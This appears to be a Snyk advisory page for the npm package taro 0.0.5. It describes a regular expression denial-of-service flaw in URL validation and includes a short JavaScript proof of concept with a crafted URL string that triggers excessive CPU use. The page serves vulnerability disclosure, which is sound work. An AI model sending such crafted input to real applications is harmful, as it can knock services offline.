taro@0.0.5 vulnerabilities

A gulp-based asset pipeline for Express.

Direct Vulnerabilities

Known vulnerabilities in the taro package. This does not include vulnerabilities belonging to this package’s dependencies.

How to fix?

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

Fix for free
VulnerabilityVulnerable Version
  • H
Regular Expression Denial of Service (ReDoS)

taro is a gulp-based asset pipeline for Express.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via URL validation. An attacker that is able to provide crafted input as URL may cause an application to consume an excessive amount of CPU.

PoC

import pkg from '@tarojs/helper';
const {REG_URL} = pkg;
var time = Date.now();
REG_URL.test('http://foobar.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.00.');
var time_cost = Date.now() - time;
console.log("Time taken to validate : " + time_cost+" ms")

How to fix Regular Expression Denial of Service (ReDoS)?

A fix was pushed into the master branch but not yet published.

*